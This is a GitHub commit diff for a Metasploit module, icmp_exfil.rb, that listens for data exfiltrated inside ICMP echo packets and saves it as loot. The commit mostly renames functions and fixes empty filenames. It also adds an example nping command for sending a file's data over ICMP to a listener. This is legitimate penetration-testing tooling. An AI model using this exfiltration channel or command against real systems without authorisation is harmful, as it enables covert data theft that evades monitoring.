Skip to content

Commit 8c60035

Browse files
author
Chris John Riley
committed
Renamed functions to meet coding standards
Added client-side tool suggestion in description and references (newlines in the description might help readability, if this is possible?) Added some minor logic change to stop empty filenames
1 parent 5667cff commit 8c60035

File tree

1 file changed

+22
-12
lines changed

1 file changed

+22
-12
lines changed

modules/auxiliary/server/icmp_exfil.rb

Lines changed: 22 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -27,14 +27,22 @@ def initialize
2727
specific start trigger (defaults to '^BOF') this can be followed by the filename being sent (or
2828
a random filename can be assisnged). All data received from this source will automatically
2929
be added to the receive buffer until an ICMP echo request containing a specific end trigger
30-
(defaults to 'EOL') is received.
30+
(defaults to '^EOL') is received.
31+
32+
Suggested Client:
33+
Data can be sent from the client using a variety of tools. One such example is nping (included
34+
with the NMAP suite of tools) - usage: nping --icmp 10.0.0.1 --data-string "BOFtest.txt" -c1
3135
},
3236
'Author' => 'Chris John Riley',
3337
'License' => MSF_LICENSE,
3438
'References' =>
3539
[
3640
# packetfu
37-
['URL','http://code.google.com/p/packetfu/']
41+
['URL','http://code.google.com/p/packetfu/'],
42+
# nping
43+
['URL', 'http://nmap.org/book/nping-man.html'],
44+
# simple icmp
45+
['URL', 'http://blog.c22.cc/2012/02/17/quick-post-fun-with-python-ctypes-simpleicmp/']
3846
]
3947
)
4048

@@ -84,15 +92,15 @@ def run
8492
end
8593

8694
# start icmp listener process - loop
87-
icmplistener
95+
icmp_listener
8896

8997
ensure
90-
storefile
98+
store_file
9199
print_status("\nStopping ICMP listener on #{@interface} (#{@iface_ip})")
92100
end
93101
end
94102

95-
def icmplistener
103+
def icmp_listener
96104
# start icmp listener
97105

98106
print_status("ICMP Listener started on #{@interface} (#{@iface_ip}). Monitoring for trigger packet containing #{datastore['START_TRIGGER']}")
@@ -128,19 +136,21 @@ def icmplistener
128136

129137
if @record
130138
print_error("New file started without saving old data")
131-
storefile
139+
store_file
132140
end
133141

134142
# begin recording stream
135143
@record = true
136144
@record_host = packet.ip_saddr
137145
@record_data = ''
138146

139-
# set filename in packet or set random value
147+
# set filename from data in incoming icmp packet
140148
if datastore['FNAME_IN_PACKET']
141-
@filename = data[((datastore['START_TRIGGER'].length)-1)..-1].strip # set filename from icmp payload
142-
else
143-
@filename = "icmp_exfil_" + ::Time.now.to_i # set random filename
149+
@filename = data[((datastore['START_TRIGGER'].length)-1)..-1].strip
150+
end
151+
# if filename not sent in packet, or FNAME_IN_PACKET false set time based name
152+
if not datastore['FNAME_IN_PACKET'] or @filename.empty?
153+
@filename = "icmp_exfil_" + ::Time.now.to_i.to_s # set filename based on current time
144154
end
145155

146156
print_good("Beginning capture of \"#{@filename}\" data")
@@ -162,7 +172,7 @@ def icmplistener
162172
# end of file marker found
163173
print_status("#{@record_data.length} bytes of data recevied in total")
164174
print_good("End of File received. Saving \"#{@filename}\" to loot")
165-
storefile
175+
store_file
166176

167177
# create response packet icmp_pkt
168178
icmp_response, contents = icmp_packet(packet, datastore['RESP_END'])
@@ -233,7 +243,7 @@ def send_icmp(icmp_response, contents)
233243
vprint_good("Response sent to #{@dst_ip} containing response trigger : \"#{contents}\"")
234244
end
235245

236-
def storefile
246+
def store_file
237247
# store the file in loot if data is present
238248
if @record_data and not @record_data.empty?
239249
loot = store_loot(

0 commit comments

Comments
 (0)